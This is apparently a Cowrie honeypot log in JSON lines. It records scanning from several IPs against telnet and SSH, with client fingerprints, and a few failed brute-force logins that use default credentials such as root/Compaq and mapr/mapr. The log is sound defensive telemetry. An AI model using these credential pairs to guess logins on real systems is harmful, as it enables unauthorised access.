{"eventid":"cowrie.session.closed","duration":33.186517000198364,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:30.321147Z","src_ip":"128.199.8.54","session":"7e7cbc68cf11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42110,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6c1fd97cf81","protocol":"telnet","message":"New connection: 128.199.8.54:42110 (159.203.135.109:23) [session: a6c1fd97cf81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:30.630432Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46054,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6d52db24058","protocol":"telnet","message":"New connection: 128.199.8.54:46054 (159.203.135.109:23) [session: e6d52db24058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:32.549868Z"}
{"eventid":"cowrie.session.closed","duration":34.03317213058472,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:33.599578Z","src_ip":"128.199.8.54","session":"74cb49f36d38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.70854377746582,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:35.146137Z","src_ip":"128.199.8.54","session":"7ab23b0944ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":17511,"dst_ip":"10.17.0.5","dst_port":23,"session":"96036a65ccb5","protocol":"telnet","message":"New connection: 212.55.149.117:17511 (10.17.0.5:23) [session: 96036a65ccb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:35.449533Z"}
{"eventid":"cowrie.session.closed","duration":32.181556940078735,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:42.390899Z","src_ip":"128.199.8.54","session":"1ae6129f18fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.844287633895874,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:43.384210Z","src_ip":"128.199.8.54","session":"65eb6fd3292f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.771572589874268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:45.476657Z","src_ip":"128.199.8.54","session":"35b72d0c3648","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46980,"dst_ip":"159.203.135.109","dst_port":23,"session":"40cc2868de17","protocol":"telnet","message":"New connection: 128.199.8.54:46980 (159.203.135.109:23) [session: 40cc2868de17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:47.164266Z"}
{"eventid":"cowrie.session.closed","duration":30.173158645629883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:48.113060Z","src_ip":"208.92.193.123","session":"4df4d1aef3b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52384,"dst_ip":"159.203.135.109","dst_port":23,"session":"c16fbe142ded","protocol":"telnet","message":"New connection: 128.199.8.54:52384 (159.203.135.109:23) [session: c16fbe142ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:49.924471Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.33.52.128","src_port":47886,"dst_ip":"159.203.135.109","dst_port":23,"session":"77547d395981","protocol":"telnet","message":"New connection: 157.33.52.128:47886 (159.203.135.109:23) [session: 77547d395981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:52.377228Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":59764,"dst_ip":"159.203.135.109","dst_port":22,"session":"63dac06cf23b","protocol":"ssh","message":"New connection: 78.83.249.54:59764 (159.203.135.109:22) [session: 63dac06cf23b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:54.432777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:54.438559Z","src_ip":"78.83.249.54","session":"63dac06cf23b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.211039543151855,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:54.452879Z","src_ip":"128.199.8.54","session":"9beccafd237d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:54.559463Z","src_ip":"78.83.249.54","session":"63dac06cf23b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Password1!","message":"login attempt [user/Password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:55.080325Z","src_ip":"78.83.249.54","session":"63dac06cf23b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:56.208343Z","src_ip":"78.83.249.54","session":"63dac06cf23b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41436,"dst_ip":"159.203.135.109","dst_port":23,"session":"0019ca169f87","protocol":"telnet","message":"New connection: 128.199.8.54:41436 (159.203.135.109:23) [session: 0019ca169f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:58.129382Z"}
{"eventid":"cowrie.session.connect","src_ip":"93.173.113.246","src_port":49832,"dst_ip":"159.203.135.109","dst_port":23,"session":"49f7ec7db324","protocol":"telnet","message":"New connection: 93.173.113.246:49832 (159.203.135.109:23) [session: 49f7ec7db324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:00.124710Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45516,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba7b9588af7b","protocol":"telnet","message":"New connection: 128.199.8.54:45516 (159.203.135.109:23) [session: ba7b9588af7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:00.148526Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47318,"dst_ip":"159.203.135.109","dst_port":23,"session":"21f25b3f5f15","protocol":"telnet","message":"New connection: 128.199.8.54:47318 (159.203.135.109:23) [session: 21f25b3f5f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:01.008996Z"}
{"eventid":"cowrie.session.closed","duration":34.42028760910034,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:03.022751Z","src_ip":"128.199.8.54","session":"f76ee20e8fe7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.554689645767212,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:04.931830Z","src_ip":"157.33.52.128","session":"77547d395981","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.6571888923645,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:05.287745Z","src_ip":"128.199.8.54","session":"a6c1fd97cf81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.679564237594604,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:08.229329Z","src_ip":"128.199.8.54","session":"e6d52db24058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39960,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fd27deace8e","protocol":"telnet","message":"New connection: 128.199.8.54:39960 (159.203.135.109:23) [session: 9fd27deace8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:11.208728Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40072,"dst_ip":"159.203.135.109","dst_port":23,"session":"86f97ca95d50","protocol":"telnet","message":"New connection: 128.199.8.54:40072 (159.203.135.109:23) [session: 86f97ca95d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:11.280440Z"}
{"eventid":"cowrie.session.closed","duration":12.355417013168335,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:12.479997Z","src_ip":"93.173.113.246","session":"49f7ec7db324","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.786789417266846,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:19.950925Z","src_ip":"128.199.8.54","session":"40cc2868de17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.436108350753784,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:23.360433Z","src_ip":"128.199.8.54","session":"c16fbe142ded","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42854,"dst_ip":"159.203.135.109","dst_port":23,"session":"7444461a0561","protocol":"telnet","message":"New connection: 128.199.8.54:42854 (159.203.135.109:23) [session: 7444461a0561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:26.318842Z"}
{"eventid":"cowrie.session.closed","duration":32.93004131317139,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:31.059296Z","src_ip":"128.199.8.54","session":"0019ca169f87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.222.233.13","src_port":44432,"dst_ip":"10.17.0.5","dst_port":23,"session":"b61b67e9cef3","protocol":"telnet","message":"New connection: 8.222.233.13:44432 (10.17.0.5:23) [session: b61b67e9cef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:34.606500Z"}
{"eventid":"cowrie.session.closed","duration":34.19953227043152,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:35.208370Z","src_ip":"128.199.8.54","session":"21f25b3f5f15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.32872462272644,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:36.477114Z","src_ip":"128.199.8.54","session":"ba7b9588af7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37770,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6550a91170d","protocol":"telnet","message":"New connection: 128.199.8.54:37770 (159.203.135.109:23) [session: a6550a91170d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:38.384470Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45486,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8a5c6238aec","protocol":"telnet","message":"New connection: 128.199.8.54:45486 (159.203.135.109:23) [session: c8a5c6238aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:41.036272Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":15310,"dst_ip":"159.203.135.109","dst_port":22,"session":"06bad9d649a2","protocol":"ssh","message":"New connection: 193.24.211.100:15310 (159.203.135.109:22) [session: 06bad9d649a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:41.153622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:41.168851Z","src_ip":"193.24.211.100","session":"06bad9d649a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:41.262624Z","src_ip":"193.24.211.100","session":"06bad9d649a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Compaq","message":"login attempt [root/Compaq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:41.697377Z","src_ip":"193.24.211.100","session":"06bad9d649a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.001784324646,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:42.691088Z","src_ip":"190.89.44.90","session":"afe255b7257b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:42.811195Z","src_ip":"193.24.211.100","session":"06bad9d649a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.89.44.90","src_port":52774,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8f6a98c31e3","protocol":"telnet","message":"New connection: 190.89.44.90:52774 (159.203.135.109:23) [session: b8f6a98c31e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:42.906490Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43510,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa15ce847aed","protocol":"telnet","message":"New connection: 128.199.8.54:43510 (159.203.135.109:23) [session: aa15ce847aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:43.100432Z"}
{"eventid":"cowrie.session.closed","duration":33.320685625076294,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:44.529313Z","src_ip":"128.199.8.54","session":"9fd27deace8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.50461435317993,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:44.784932Z","src_ip":"128.199.8.54","session":"86f97ca95d50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":36500,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc59368cac8a","protocol":"ssh","message":"New connection: 80.94.92.186:36500 (159.203.135.109:22) [session: bc59368cac8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:46.036669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:46.193509Z","src_ip":"80.94.92.186","session":"bc59368cac8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:46.295939Z","src_ip":"80.94.92.186","session":"bc59368cac8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58048,"dst_ip":"159.203.135.109","dst_port":23,"session":"d38efca3cdba","protocol":"telnet","message":"New connection: 128.199.8.54:58048 (159.203.135.109:23) [session: d38efca3cdba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:47.053838Z"}
{"eventid":"cowrie.login.failed","username":"mapr","password":"mapr","message":"login attempt [mapr/mapr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:47.188687Z","src_ip":"80.94.92.186","session":"bc59368cac8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58436,"dst_ip":"159.203.135.109","dst_port":23,"session":"8788cf459cec","protocol":"telnet","message":"New connection: 128.199.8.54:58436 (159.203.135.109:23) [session: 8788cf459cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:47.252767Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":48454,"dst_ip":"159.203.135.109","dst_port":22,"session":"80841019c1a4","protocol":"ssh","message":"New connection: 78.83.249.54:48454 (159.203.135.109:22) [session: 80841019c1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:47.258307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:47.265159Z","src_ip":"78.83.249.54","session":"80841019c1a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:47.385833Z","src_ip":"78.83.249.54","session":"80841019c1a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"3333333333","message":"login attempt [ubuntu/3333333333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:47.903420Z","src_ip":"78.83.249.54","session":"80841019c1a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:48.437757Z","src_ip":"80.94.92.186","session":"bc59368cac8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:24:49.027303Z","src_ip":"78.83.249.54","session":"80841019c1a4","protocol":"ssh"}
